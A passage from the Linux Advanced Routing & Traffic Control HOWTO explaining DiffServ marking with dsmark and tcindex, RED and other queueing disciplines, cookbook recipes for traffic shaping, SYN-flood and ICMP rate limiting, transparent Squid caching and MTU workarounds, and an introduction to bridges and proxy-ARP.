First of all, first of all, it would be a great idea for you to read RFCs written about this (RFC2474, RFC2475, RFC2597 and RFC2598) at IETF DiffServ working Group web site and Werner Almesberger web site (he wrote the code to support Differentiated Services on Linux).

What is Dsmark related to?

Dsmark is a queueing discipline that offers the capabilities needed in Differentiated Services (also called DiffServ or, simply, DS). DiffServ is one of two actual QoS architectures (the other one is called Integrated Services) that is based on a value carried by packets in the DS field of the IP header.

One of the first solutions in IP designed to offer some QoS level was the Type of Service field (TOS byte) in IP header. By changing that value, we could choose a high/low level of throughput, delay or reliability. But this didn't provide sufficient flexibility to the needs of new services (such as real-time applications, interactive applications and others). After this, new architectures appeared. One of these was DiffServ which kept TOS bits and renamed DS field.

Differentiated Services guidelines

Differentiated Services is group-oriented. I mean, we don't know nothing about flows (this will be the Integrated Services purpose); we know about flow aggregations and we will apply different behaviours depending on which aggregation a packet belongs to.

When a packet arrives to an edge node (entry node to a DiffServ domain) entering to a DiffServ Domain we'll have to policy, shape and/or mark those packets (marking refers to assigning a value to the DS field. It's just like the cows :-) ). This will be the mark/value that the internal/core nodes on our DiffServ Domain will look at to determine which behaviour or QoS level apply.

As you can deduce, Differentiated Services involves a domain on which all DS rules will have to be applied. In fact you can think "I will classify all the packets entering my domain. Once they enter my domain they will be subjected to the rules that my classification dictates and every traversed node will apply that QoS level".

In fact, you can apply your own policies into your local domains, but some Service Level Agreements should be considered when connecting to other DS domains.

At this point, you maybe have a lot of questions. DiffServ is more than I've explained. In fact, you can understand that I can not resume more than 3 RFC's in just 50 lines :-).

Working with Dsmark

As the DiffServ bibliography specifies, we differentiate boundary nodes and interior nodes. These are two important points in the traffic path. Both types perform a classification when the packets arrive. Its result may be used in different places along the DS process before the packet is released to the network. It's just because of this that the diffserv code supplies an structure called sk_buff, including a new field called skb->tc_index where we'll store the result of initial classification that may be used in several points in DS treatment.

The skb->tc_index value will be initially set by the DSMARK qdisc, retrieving it from the DS field in IP header of every received packet. Besides, cls_tcindex classifier will read all or part of skb->tcindex value and use it to select classes.

But, first of all, take a look at DSMARK qdisc command and its parameters:

... dsmark indices INDICES [ default_index DEFAULT_INDEX ] [ set_tc_index ]
What do these parameters mean?
  • indices: size of table of (mask,value) pairs. Maximum value is 2^n, where n>=0.
  • Default_index: the default table entry index if classifier finds no match.
  • Set_tc_index: instructs dsmark discipline to retrieve the DS field and store it onto skb->tc_index.
Let's see the DSMARK process.

How SCH_DSMARK works.

This qdisc will apply the next steps:

  • If we have declared set_tc_index option in qdisc command, DS field is retrieved and stored onto skb->tc_index variable.
  • Classifier is invoked. The classifier will be executed and it will return a class ID that will be stored in skb->tc_index variable.If no filter matches are found, we consider the default_index option to be the classId to store. If neither set_tc_index nor default_index has been declared results may be impredictibles.
  • After been sent to internal qdisc's where you can reuse the result of the filter, the classid returned by the internal qdisc is stored into skb->tc_index. We will use this value in the future to index a mask- value table. The final result to assign to the packet will be that resulting from next operation:
    New_Ds_field = ( Old_DS_field & mask ) | value
  • Thus, new value will result from "anding" ds_field and mask values and next, this result "ORed" with value parameter. See next diagram to understand all this process:
                         skb->ihp->tos
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >
     |                                                       |     ^
     | -- If you declare set_tc_index, we set DS             |     |  <-----May change
     |    value into skb->tc_index variable                  |     |O       DS field
     |                                                      A|     |R
   +-|-+      +------+    +---+-+    Internal   +-+     +---N|-----|----+
   | | |      | tc   |--->|   | |-->  . . .  -->| |     |   D|     |    |
   | | |----->|index |--->|   | |     Qdisc     | |---->|    v     |    |
   | | |      |filter|--->| | | +---------------+ |   ---->(mask,value) |
-->| O |      +------+    +-|-+--------------^----+  /  |  (.  ,  .)    |
   | | |          ^         |                |       |  |  (.  ,  .)    |
   | | +----------|---------|----------------|-------|--+  (.  ,  .)    |
   | | sch_dsmark |         |                |       |                  |
   +-|------------|---------|----------------|-------|------------------+
     |            |         | <- tc_index -> |       |
     |            |(read)   |    may change  |       |  <--------------Index to the
     |            |         |                |       |                    (mask,value)
     v            |         v                v       |                    pairs table
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->
                         skb->tc_index

How to do marking? Just change the mask and value of the class you want to remark. See next line of code:

tc class change dev eth0 classid 1:1 dsmark mask 0x3 value 0xb8
This changes the (mask,value) pair in hash table, to remark packets belonging to class 1:1.You have to "change" this values because of default values that (mask,value) gets initially (see table below).

Now, we'll explain how TC_INDEX filter works and how fits into this. Besides, TCINDEX filter can be used in other configurations rather than those including DS services.

TC_INDEX Filter

This is the basic command to declare a TC_INDEX filter:

... tcindex [ hash SIZE ] [ mask MASK ] [ shift SHIFT ]
            [ pass_on | fall_through ]
            [ classid CLASSID ] [ police POLICE_SPEC ]
Next, we show the example used to explain TC_INDEX operation mode. Pay attention to bolded words:

tc qdisc add dev eth0 handle 1:0 root dsmark indices 64 set_tc_index
tc filter add dev eth0 parent 1:0 protocol ip prio 1 tcindex mask 0xfc shift 2
tc qdisc add dev eth0 parent 1:0 handle 2:0 cbq bandwidth 10Mbit cell 8 avpkt 1000 mpu 64
# EF traffic class
tc class add dev eth0 parent 2:0 classid 2:1 cbq bandwidth 10Mbit rate 1500Kbit avpkt 1000 prio 1 bounded isolated allot 1514 weight 1 maxburst 10
# Packet fifo qdisc for EF traffic
tc qdisc add dev eth0 parent 2:1 pfifo limit 5
tc filter add dev eth0 parent 2:0 protocol ip prio 1 handle 0x2e tcindex classid 2:1 pass_on

(This code is not complete. It's just an extract from EFCBQ example included in iproute2 distribution).

First of all, suppose we receive a packet marked as EF . If you read RFC2598, you'll see that DSCP recommended value for EF traffic is 101110. This means that DS field will be 10111000 (remember that less signifiant bits in TOS byte are not used in DS) or 0xb8 in hexadecimal codification.

              TC INDEX
              FILTER
   +---+      +-------+    +---+-+    +------+                +-+    +-------+
   |   |      |       |    |   | |    |FILTER|  +-+    +-+    | |    |       |
   |   |----->| MASK  | -> |   | | -> |HANDLE|->| |    | | -> | | -> |       |
   |   |  .   | =0xfc |    |   | |    |0x2E  |  | +----+ |    | |    |       |
   |   |  .   |       |    |   | |    +------+  +--------+    | |    |       |
   |   |  .   |       |    |   | |                            | |    |       |
-->|   |  .   | SHIFT |    |   | |                            | |    |       |-->
   |   |  .   | =2    |    |   | +----------------------------+ |    |       |
   |   |      |       |    |   |       CBQ 2:0                  |    |       |
   |   |      +-------+    +---+--------------------------------+    |       |
   |   |                                                             |       |
   |   +-------------------------------------------------------------+       |
   |                          DSMARK 1:0                                     |
   +-------------------------------------------------------------------------+

The packet arrives, then, set with 0xb8 value at DS field. As we explained before, dsmark qdisc identified by 1:0 id in the example, retrieves DS field and store it in skb->tc_index variable. Next step in the example will correspond to the filter associated to this qdisc (second line in the example). This will perform next operations:

Value1 = skb->tc_index & MASK
Key = Value1 >> SHIFT

In the example, MASK=0xFC i SHIFT=2.

Value1 = 10111000 & 11111100 = 10111000
Key = 10111000 >> 2 = 00101110 -> 0x2E in hexadecimal

The returned value will correspond to a qdisc interal filter handle (in the example, identifier 2:0). If a filter with this id exists, policing and metering conditions will be verified (in case that filter includes this) and the classid will be returned (in our example, classid 2:1) and stored in skb->tc_index variable.

But if any filter with that identifier is found, the result will depend on fall_through flag declaration. If so, value key is returned as classid. If not, an error is returned and process continues with the rest filters. Be careful if you use fall_through flag; this can be done if a simple relation exists between values
of skb->tc_index variable and class id's.

The latest parameters to comment on are hash and pass_on. The first one relates to hash table size. Pass_on will be used to indicate that if no classid equal to the result of this filter is found, try next filter. The default action is fall_through (look at next table).

Finally, let's see which possible values can be set to all this TCINDEX parameters:

TC Name                 Value           Default
-----------------------------------------------------------------
Hash                    1...0x10000     Implementation dependent
Mask                    0...0xffff      0xffff
Shift                   0...15          0
Fall through / Pass_on  Flag            Fall_through
Classid                 Major:minor     None
Police                  .....           None

This kind of filter is very powerful. It's necessary to explore all possibilities. Besides, this filter is not only used in DiffServ configurations. You can use it as any other kind of filter.

I recommend you to look at all DiffServ examples included in iproute2 distribution. I promise I will try to complement this text as soon as I can. Besides, all I have explained is the result of a lot of tests. I would thank you tell me if I'm wrong in any point.

14.4 Ingress policer qdisc

The Ingress qdisc comes in handy if you need to ratelimit a host without help from routers or other Linux boxes. You can police incoming bandwidth and drop packets when this bandwidth exceeds your desired rate. This can save your host from a SYN flood, for example, and also works to slow down TCP/IP, which responds to dropped packets by reducing speed.

FIXME: shaping by dropping packets seems less desirable than using, for example, a token bucket filter. Not sure though, Cisco CAR works this way, and people appear to be happy with it.

See the reference to IOS Committed Access Rate at the end of this document.

In short: you can use this to limit how fast your computer downloads files, thus leaving more of the available bandwidth for others.

The ingress policer is not a regular qdisc, although it looks like one. It is in fact hooked to the interface via the Netfilter infrastructure. Configuration is achieved using 'tc filter police' commands.

See the section on 'Protecting your host from SYN floods' for an example on how this works.

14.5 Random Early Detection (RED)

This section is meant as an introduction to backbone routing, which often involves <100 megabit bandwidths, which requires a different approach than your ADSL modem at home.

The normal behaviour of router queues on the Internet is called tail-drop. Tail-drop works by queueing up to a certain amount, then dropping all traffic that 'spills over'. This is very unfair, and also leads to retransmit synchronisation. When retransmit synchronisation occurs, the sudden burst of drops from a router that has reached its fill will cause a delayed burst of retransmits, which will over fill the congested router again.

In order to cope with transient congestion on links, backbone routers will often implement large queues. Unfortunately, while these queues are good for throughput, they can substantially increase latency and cause TCP connections to behave very bursty during congestion.

These issues with tail-drop are becoming increasingly troublesome on the Internet because the use of network unfriendly applications is increasing. The Linux kernel offers us RED, short for Random Early Detect, also called Random Early Drop, as that is how it works.

RED isn't a cure-all for this, applications which inappropriately fail to implement exponential backoff still get an unfair share of the bandwidth, however, with RED they do not cause as much harm to the throughput and latency of other connections.

RED statistically drops packets from flows before it reaches its hard limit. This causes a congested backbone link to slow more gracefully, and prevents retransmit synchronisation. This also helps TCP find its 'fair' speed faster by allowing some packets to get dropped sooner keeping queue sizes low and latency under control. The probability of a packet being dropped from a particular connection is proportional to its bandwidth usage rather than the number of packets it transmits.

RED is a good queue for backbones, where you can't afford the complexity of per-session state tracking needed by fairness queueing.

In order to use RED, you must decide on three parameters: Min, Max, and burst. Min sets the minimum queue size in bytes before dropping will begin, Max is a soft maximum that the algorithm will attempt to stay under, and burst sets the maximum number of packets that can 'burst through'.

You should set the min by calculating that highest acceptable base queueing latency you wish, and multiply it by your bandwidth. For instance, on my 64kbit/s ISDN link, I might want a base queueing latency of 200ms so I set min to 1600 bytes. Setting min too small will degrade throughput and too large will degrade latency. Setting a small min is not a replacement for reducing the MTU on a slow link to improve interactive response.

You should make max at least twice min to prevent synchronisation. On slow links with small min's it might be wise to make max perhaps four or more times large then min.

Burst controls how the RED algorithm responds to bursts. Burst must be set larger then min/avpkt. Experimentally, I've found (min+min+max)/(3*avpkt) to work okay.

Additionally, you need to set limit and avpkt. Limit is a safety value, after there are limit bytes in the queue, RED 'turns into' tail-drop. I typical set limit to eight times max. Avpkt should be your average packet size. 1000 works okay on high speed Internet links with a 1500byte MTU.

Read the paper on RED queueing by Sally Floyd and Van Jacobson for technical information.

14.6 Generic Random Early Detection

Not a lot is known about GRED. It looks like GRED with several internal queues, whereby the internal queue is chosen based on the Diffserv tcindex field. According to a slide found here, it contains the capabilities of Cisco's 'Distributed Weighted RED', as well as Dave Clark's RIO.

Each virtual queue can have its own Drop Parameters specified.

FIXME: get Jamal or Werner to tell us more

14.7 VC/ATM emulation

This is quite a major effort by Werner Almesberger to allow you to build Virtual Circuits over TCP/IP sockets. A Virtual Circuit is a concept from ATM network theory.

For more information, see the ATM on Linux homepage.

14.8 Weighted Round Robin (WRR)

This qdisc is not included in the standard kernels but can be downloaded from http://wipl-wrr.dkik.dk/wrr/. Currently the qdisc is only tested with Linux 2.2 kernels but it will probably work with 2.4/2.5 kernels too.

The WRR qdisc distributes bandwidth between its classes using the weighted round robin scheme. That is, like the CBQ qdisc it contains classes into which arbitrary qdiscs can be plugged. All classes which have sufficient demand will get bandwidth proportional to the weights associated with the classes. The weights can be set manually using the tc program. But they can also be made automatically decreasing for classes transferring much data.

The qdisc has a built-in classifier which assigns packets coming from or sent to different machines to different classes. Either the MAC or IP and either source or destination addresses can be used. The MAC address can only be used when the Linux box is acting as an ethernet bridge, however. The classes are automatically assigned to machines based on the packets seen.

The qdisc can be very useful at sites such as dorms where a lot of unrelated individuals share an Internet connection. A set of scripts setting up a relevant behavior for such a site is a central part of the WRR distribution.


Linux Advanced Routing & Traffic Control HOWTO: Cookbook

 Next Previous Contents

15. Cookbook

This section contains 'cookbook' entries which may help you solve problems. A cookbook is no replacement for understanding however, so try and comprehend what is going on.

15.1 Running multiple sites with different SLAs

You can do this in several ways. Apache has some support for this with a module, but we'll show how Linux can do this for you, and do so for other services as well. These commands are stolen from a presentation by Jamal Hadi that's referenced below.

Let's say we have two customers, with http, ftp and streaming audio, and we want to sell them a limited amount of bandwidth. We do so on the server itself.

Customer A should have at most 2 megabits, customer B has paid for 5 megabits. We separate our customers by creating virtual IP addresses on our server.

# ip address add 188.177.166.1 dev eth0
# ip address add 188.177.166.2 dev eth0

It is up to you to attach the different servers to the right IP address. All popular daemons have support for this.

We first attach a CBQ qdisc to eth0:

# tc qdisc add dev eth0 root handle 1: cbq bandwidth 10Mbit cell 8 avpkt 1000 \
  mpu 64

We then create classes for our customers:

# tc class add dev eth0 parent 1:0 classid 1:1 cbq bandwidth 10Mbit rate \
  2MBit avpkt 1000 prio 5 bounded isolated allot 1514 weight 1 maxburst 21
# tc class add dev eth0 parent 1:0 classid 1:2 cbq bandwidth 10Mbit rate \
  5Mbit avpkt 1000 prio 5 bounded isolated allot 1514 weight 1 maxburst 21

Then we add filters for our two classes:

##FIXME: Why this line, what does it do?, what is a divisor?:
##FIXME: A divisor has something to do with a hash table, and the number of
##       buckets - ahu
# tc filter add dev eth0 parent 1:0 protocol ip prio 5 handle 1: u32 divisor 1
# tc filter add dev eth0 parent 1:0 prio 5 u32 match ip src 188.177.166.1
  flowid 1:1
# tc filter add dev eth0 parent 1:0 prio 5 u32 match ip src 188.177.166.2
  flowid 1:2

And we're done.

FIXME: why no token bucket filter? is there a default pfifo_fast fallback somewhere?

15.2 Protecting your host from SYN floods

From Alexey's iproute documentation, adapted to netfilter and with more plausible paths. If you use this, take care to adjust the numbers to reasonable values for your system.

If you want to protect an entire network, skip this script, which is best suited for a single host.

It appears that you need the very latest version of the iproute2 tools to get this to work with 2.4.0.

#! /bin/sh -x
#
# sample script on using the ingress capabilities
# this script shows how one can rate limit incoming SYNs
# Useful for TCP-SYN attack protection. You can use
# IPchains to have more powerful additions to the SYN (eg
# in addition the subnet)
#
#path to various utilities;
#change to reflect yours.
#
TC=/sbin/tc
IP=/sbin/ip
IPTABLES=/sbin/iptables
INDEV=eth2
#
# tag all incoming SYN packets through $INDEV as mark value 1
############################################################
$iptables -A PREROUTING -i $INDEV -t mangle -p tcp --syn \
  -j MARK --set-mark 1
############################################################
#
# install the ingress qdisc on the ingress interface
############################################################
$TC qdisc add dev $INDEV handle ffff: ingress
############################################################

#
#
# SYN packets are 40 bytes (320 bits) so three SYNs equals
# 960 bits (approximately 1kbit); so we rate limit below
# the incoming SYNs to 3/sec (not very useful really; but
#serves to show the point - JHS
############################################################
$TC filter add dev $INDEV parent ffff: protocol ip prio 50 handle 1 fw \
police rate 1kbit burst 40 mtu 9k drop flowid :1
############################################################

#
echo "---- qdisc parameters Ingress  ----------"
$TC qdisc ls dev $INDEV
echo "---- Class parameters Ingress  ----------"
$TC class ls dev $INDEV
echo "---- filter parameters Ingress ----------"
$TC filter ls dev $INDEV parent ffff:

#deleting the ingress qdisc
#$TC qdisc del $INDEV ingress

15.3 Ratelimit ICMP to prevent dDoS

Recently, distributed denial of service attacks have become a major nuisance on the internet. By properly filtering and ratelimiting your network, you can both prevent becoming a casualty or the cause of these attacks.

You should filter your networks so that you do not allow non-local IP source addressed packets to leave your network. This stops people from anonymously sending junk to the internet.

Rate limiting goes much as shown earlier. To refresh your memory, our ASCIIgram again:

[The Internet] ---<E3, T3, whatever>--- [Linux router] --- [Office+ISP]
                                      eth1          eth0

We first set up the prerequisite parts:

# tc qdisc add dev eth0 root handle 10: cbq bandwidth 10Mbit avpkt 1000
# tc class add dev eth0 parent 10:0 classid 10:1 cbq bandwidth 10Mbit rate \
  10Mbit allot 1514 prio 5 maxburst 20 avpkt 1000

If you have 100Mbit, or more, interfaces, adjust these numbers. Now you need to determine how much ICMP traffic you want to allow. You can perform measurements with tcpdump, by having it write to a file for a while, and seeing how much ICMP passes your network. Do not forget to raise the snapshot length!

If measurement is impractical, you might want to choose 5% of your available bandwidth. Let's set up our class:

# tc class add dev eth0 parent 10:1 classid 10:100 cbq bandwidth 10Mbit rate \
  100Kbit allot 1514 weight 800Kbit prio 5 maxburst 20 avpkt 250 \
  bounded

This limits at 100Kbit. Now we need a filter to assign ICMP traffic to this class:

# tc filter add dev eth0 parent 10:0 protocol ip prio 100 u32 match ip
  protocol 1 0xFF flowid 10:100

15.4 Prioritizing interactive traffic

If lots of data is coming down your link, or going up for that matter, and you are trying to do some maintenance via telnet or ssh, this may not go too well. Other packets are blocking your keystrokes. Wouldn't it be great if there were a way for your interactive packets to sneak past the bulk traffic? Linux can do this for you!

As before, we need to handle traffic going both ways. Evidently, this works best if there are Linux boxes on both ends of your link, although other UNIX's are able to do this. Consult your local Solaris/BSD guru for this.

The standard pfifo_fast scheduler has 3 different 'bands'. Traffic in band 0 is transmitted first, after which traffic in band 1 and 2 gets considered. It is vital that our interactive traffic be in band 0!

We blatantly adapt from the (soon to be obsolete) ipchains HOWTO:

There are four seldom-used bits in the IP header, called the Type of Service (TOS) bits. They effect the way packets are treated; the four bits are "Minimum Delay", "Maximum Throughput", "Maximum Reliability" and "Minimum Cost". Only one of these bits is allowed to be set. Rob van Nieuwkerk, the author of the ipchains TOS-mangling code, puts it as follows:

Especially the "Minimum Delay" is important for me. I switch it on for "interactive" packets in my upstream (Linux) router. I'm behind a 33k6 modem link. Linux prioritizes packets in 3 queues. This way I get acceptable interactive performance while doing bulk downloads at the same time.

The most common use is to set telnet & ftp control connections to "Minimum Delay" and FTP data to "Maximum Throughput". This would be done as follows, on your upstream router:

# iptables -A PREROUTING -t mangle -p tcp --sport telnet \
  -j TOS --set-tos Minimize-Delay
# iptables -A PREROUTING -t mangle -p tcp --sport ftp \
  -j TOS --set-tos Minimize-Delay
# iptables -A PREROUTING -t mangle -p tcp --sport ftp-data \
  -j TOS --set-tos Maximize-Throughput

Now, this only works for data going from your telnet foreign host to your local computer. The other way around appears to be done for you, ie, telnet, ssh & friends all set the TOS field on outgoing packets automatically.

Should you have an application that does not do this, you can always do it with netfilter. On your local box:

# iptables -A OUTPUT -t mangle -p tcp --dport telnet \
  -j TOS --set-tos Minimize-Delay
# iptables -A OUTPUT -t mangle -p tcp --dport ftp \
  -j TOS --set-tos Minimize-Delay
# iptables -A OUTPUT -t mangle -p tcp --dport ftp-data \
  -j TOS --set-tos Maximize-Throughput

15.5 Transparent web-caching using netfilter, iproute2, ipchains and squid

This section was sent in by reader Ram Narula from Internet for Education (Thailand).

The regular technique in accomplishing this in Linux is probably with use of ipchains AFTER making sure that the "outgoing" port 80(web) traffic gets routed through the server running squid.

There are 3 common methods to make sure "outgoing" port 80 traffic gets routed to the server running squid and 4th one is being introduced here.

Making the gateway router do it.

If you can tell your gateway router to match packets that has outgoing destination port of 80 to be sent to the IP address of squid server.

BUT

This would put additional load on the router and some commercial routers might not even support this.

Using a Layer 4 switch.

Layer 4 switches can handle this without any problem.

BUT

The cost for this equipment is usually very high. Typical layer 4 switch would normally cost more than a typical router+good linux server.

Using cache server as network's gateway.

You can force ALL traffic through cache server.

BUT

This is quite risky because Squid does utilize lots of cpu power which might result in slower over-all network performance or the server itself might crash and no one on the network will be able to access the internet if that occurs.

Linux+NetFilter router.

By using NetFilter another technique can be implemented which is using NetFilter for "mark"ing the packets with destination port 80 and using iproute2 to route the "mark"ed packets to the Squid server.

|----------------|
| Implementation |
|----------------|

 Addresses used
 10.0.0.1 naret (NetFilter server)
 10.0.0.2 silom (Squid server)
 10.0.0.3 donmuang (Router connected to the internet)
 10.0.0.4 kaosarn (other server on network)
 10.0.0.5 RAS
 10.0.0.0/24 main network
 10.0.0.0/19 total network

|---------------|
|Network diagram|
|---------------|

Internet
|
donmuang
|
------------hub/switch----------
|        |             |       |
naret   silom        kaosarn  RAS etc.
First, make all traffic pass through naret by making sure it is the default gateway except for silom. Silom's default gateway has to be donmuang (10.0.0.3) or this would create web traffic loop.

(all servers on my network had 10.0.0.1 as the default gateway which was the former IP address of donmuang router so what I did was changed the IP address of donmuang to 10.0.0.3 and gave naret ip address of 10.0.0.1)

Silom
-----
-setup squid and ipchains

Setup Squid server on silom, make sure it does support transparent caching/proxying, the default port is usually 3128, so all traffic for port 80 has to be redirected to port 3128 locally. This can be done by using ipchains with the following:

silom# ipchains -N allow1
silom# ipchains -A allow1 -p TCP -s 10.0.0.0/19 -d 0/0 80 -j REDIRECT 3128
silom# ipchains -I input -j allow1

Or, in netfilter lingo:

silom# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128

(note: you might have other entries as well)

For more information on setting Squid server please refer to Squid faq page on http://squid.nlanr.net).

Make sure ip forwarding is enabled on this server and the default gateway for this server is donmuang router (NOT naret).

Naret
-----
-setup iptables and iproute2
-disable icmp REDIRECT messages (if needed)

  1. "Mark" packets of destination port 80 with value 2

naret# iptables -A PREROUTING -i eth0 -t mangle -p tcp --dport 80 \
 -j MARK --set-mark 2
  2. Setup iproute2 so it will route packets with "mark" 2 to silom
    naret# echo 202 www.out >> /etc/iproute2/rt_tables
naret# ip rule add fwmark 2 table www.out
naret# ip route add default via 10.0.0.2 dev eth0 table www.out
naret# ip route flush cache

    If donmuang and naret is on the same subnet then naret should not send out icmp REDIRECT messages. In this case it is, so icmp REDIRECTs has to be disabled by:

    naret# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects
naret# echo 0 > /proc/sys/net/ipv4/conf/default/send_redirects
naret# echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects

The setup is complete, check the configuration

On naret:

naret# iptables -t mangle -L
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
MARK       tcp  --  anywhere             anywhere           tcp dpt:www MARK set 0x2

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

naret# ip rule ls
0:      from all lookup local
32765:  from all fwmark        2 lookup www.out
32766:  from all lookup main
32767:  from all lookup default

naret# ip route list table www.out
default via 203.114.224.8 dev eth0

naret# ip route
10.0.0.1 dev eth0  scope link
10.0.0.0/24 dev eth0  proto kernel  scope link  src 10.0.0.1
127.0.0.0/8 dev lo  scope link
default via 10.0.0.3 dev eth0

(make sure silom belongs to one of the above lines, in this case
it's the line with 10.0.0.0/24)

|------|
|-DONE-|
|------|

Traffic flow diagram after implementation

|-----------------------------------------|
|Traffic flow diagram after implementation|
|-----------------------------------------|

INTERNET
/\
||
\/
-----------------donmuang router---------------------
/\                                      /\         ||
||                                      ||         ||
||                                      \/         ||
naret                                  silom       ||
*destination port 80 traffic=========>(cache)      ||
/\                                      ||         ||
||                                      \/         \/
\\===================================kaosarn, RAS, etc.

Note that the network is asymmetric as there is one extra hop on general outgoing path.

Here is run down for packet traversing the network from kaosarn
to and from the internet.

For web/http traffic:
kaosarn http request->naret->silom->donmuang->internet
http replies from internet->donmuang->silom->kaosarn

For non-web/http requests(eg. telnet):
kaosarn outgoing data->naret->donmuang->internet
incoming data from internet->donmuang->kaosarn

15.6 Circumventing Path MTU Discovery issues with per route MTU settings

For sending bulk data, the internet generally works better when using larger packets. Each packet implies a routing decision, when sending a 1 megabyte file, this can either mean around 700 packets when using packets that are as large as possible, or 4000 if using the smallest default.

However, not all parts of the internet support full 1460 bytes of payload per packet. It is therefore necessary to try and find the largest packet that will 'fit', in order to optimize a connection.

This process is called 'Path MTU Discovery', where MTU stands for 'Maximum Transfer Unit.'

When a router encounters a packet that's too big too send in one piece, AND it has been flagged with the "Don't Fragment" bit, it returns an ICMP message stating that it was forced to drop a packet because of this. The sending host acts on this hint by sending smaller packets, and by iterating it can find the optimum packet size for a connection over a certain path.

This used to work well until the internet was discovered by hooligans who do their best to disrupt communications. This in turn lead administrators to either block or shape ICMP traffic in a misguided attempt to improve security or robustness of their internet service.

What has happened now is that Path MTU Discovery is working less and less well and fails for certain routes, which leads to strange TCP/IP sessions which die after a while.

Although I have no proof for this, two sites who I used to have this problem with both run Alteon Acedirectors before the affected systems - perhaps somebody more knowledgeable can provide clues as to why this happens.

Solution

When you encounter sites that suffer from this problem, you can disable Path MTU discovery by setting it manually. Koos van den Hout, slightly edited, writes:

The following problem: I set the mtu/mru of my leased line running ppp to 296 because it's only 33k6 and I cannot influence the queueing on the other side. At 296, the response to a keypress is within a reasonable timeframe.

And, on my side I have a masqrouter running (of course) Linux.

Recently I split 'server' and 'router' so most applications are run on a different machine than the routing happens on.

I then had trouble logging into irc. Big panic! Some digging did find out that I got connected to irc, even showed up as 'connected' on irc but I did not receive the motd from irc. I checked what could be wrong and noted that I already had some previous trouble reaching certain websites related to the MTU, since I had no trouble reaching them when the MTU was 1500, the problem just showed when the MTU was set to 296. Since irc servers block about every kind of traffic not needed for their immediate operation, they also block icmp.

I managed to convince the operators of a webserver that this was the cause of a problem, but the irc server operators were not going to fix this.

So, I had to make sure outgoing masqueraded traffic started with the lower mtu of the outside link. But I want local ethernet traffic to have the normal mtu (for things like nfs traffic).

Solution:

ip route add default via 10.0.0.1 mtu 296

(10.0.0.1 being the default gateway, the inside address of the masquerading router)

In general, it is possible to override PMTU Discovery by setting specific routes. For example, if only a certain subnet is giving problems, this should help:

ip route add 195.96.96.0/24 via 10.0.0.1 mtu 1000

15.7 Circumventing Path MTU Discovery issues with MSS Clamping (for ADSL, cable, PPPoE & PPtP users)

As explained above, Path MTU Discovery doesn't work as well as it should anymore. If you know for a fact that a hop somewhere in your network has a limited (<1500) MTU, you cannot rely on PMTU Discovery finding this out.

Besides MTU, there is yet another way to set the maximum packet size, the so called Maximum Segment Size. This is a field in the TCP Options part of a SYN packet.

Recent Linux kernels, and a few pppoe drivers (notably, the excellent Roaring Penguin one), feature the possibility to 'clamp the MSS'.

The good thing about this is that by setting the MSS value, you are telling the remote side unequivocally 'do not ever try to send me packets bigger than this value'. No ICMP traffic is needed to get this to work.

The bad thing is that it's an obvious hack - it breaks 'end to end' by modifying packets. Having said that, we use this trick in many places and it works like a charm.

In order for this to work you need at least iptables-1.2.1a and Linux 2.4.3 or higher. The basic commandline is:

# iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS  --clamp-mss-to-pmtu

This calculates the proper MSS for your link. If you are feeling brave, or think that you know best, you can also do something like this:

# iptables -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 128

This sets the MSS of passing SYN packets to 128. Use this if you have VoIP with tiny packets, and huge http packets which are causing chopping in your voice calls.


Linux Advanced Routing & Traffic Control HOWTO: Building bridges, and pseudo-bridges with Proxy ARP

 Next Previous Contents

16. Building bridges, and pseudo-bridges with Proxy ARP

Bridges are devices which can be installed in a network without any reconfiguration. A network switch is basically a many-port bridge. A bridge is often a 2-port switch. Linux does however support multiple interfaces in a bridge, making it a true switch.

Bridges are often deployed when confronted with a broken network that needs to be fixed without any alterations. Because the bridge is a layer-2 device, one layer below IP, routers and servers are not aware of its existence. This means that you can transparently block or modify certain packets, or do shaping.

Another good thing is that a bridge can often be replaced by a cross cable or a hub, should it break down.

The bad news is that a bridge can cause great confusion unless it is very well documented. It does not appear in traceroutes, but somehow packets disappear or get changed from point A to point B. You should also wonder if an organization that 'does not want to change anything' is doing the right thing.

The Linux 2.4/2.5 bridge is documented on

this page.

16.1 State of bridging and iptables

As of Linux 2.4.14, bridging and iptables do not 'see' each other without help. If you bridge packets from eth0 to eth1, they do not 'pass' by iptables. This means that you cannot do filtering, or NAT or mangling or whatever.

There are several projects going on to fix this, the truly right one is by the author of the Linux 2.4 bridging code, Lennert Buytenhek. He recently informed us that as of bridge-nf 0.0.2 (see the url above), the code is stable and usable in production environments. He is now asking the kernel people if and how the patch can be merged, stay tuned!

16.2 Bridging and shaping

This does work as advertised. Be sure to figure out which side each interface is on, otherwise you might be shaping outbound traffic in your internal interface, which won't work. Use tcpdump if needed.

16.3 Pseudo-bridges with Proxy-ARP

If you just want to implement a Pseudo-bridge, skip down a few sections to 'Implementing it', but it is wise to read a bit about how it works in practice.

A Pseudo-bridge works a bit differently. By default, a bridge passes packets unaltered from one interface to the other. It only looks at the hardware address of packets to determine what goes where. This in turn means that you can bridge traffic that Linux does not understand, as long as it has an hardware address it does.

A 'Pseudo-bridge' works differently and looks more like a hidden router than a bridge, but like a bridge, it has little impact on network design.

An advantage of the fact that it is not a brige lies in the fact that packets really pass through the kernel, and can be filtered, changed, redirected or rerouted.

A real bridge can also be made to perform these feats, but it needs special code, like the Ethernet Frame Diverter, or the above mentioned patch.

Another advantage of a pseudo-bridge is that it does not pass packets it does not understand - thus cleaning your network of a lot of cruft. In cases where you need this cruft (like SAP packets, or Netbeui), use a real bridge.

ARP & Proxy-ARP

When a host wants to talk to another host on the same physical network segment, it sends out an Address Resolution Protocol packet, which, somewhat simplified, reads like this 'who has 10.0.0.1, tell 10.0.0.7'. In response to this, 10.0.0.1 replies with a short 'here' packet.

10.0.0.7 then sends packets to the hardware address mentioned in the 'here' packet. It caches this hardware address for a relatively long time, and after the cache expires, it reasks the question.

When building a Pseudo-bridge, we instruct the bridge to reply to these ARP packets, which causes the hosts in the network to send its packets to the bridge. The brige then processes these packets, and sends them to the relevant interface.

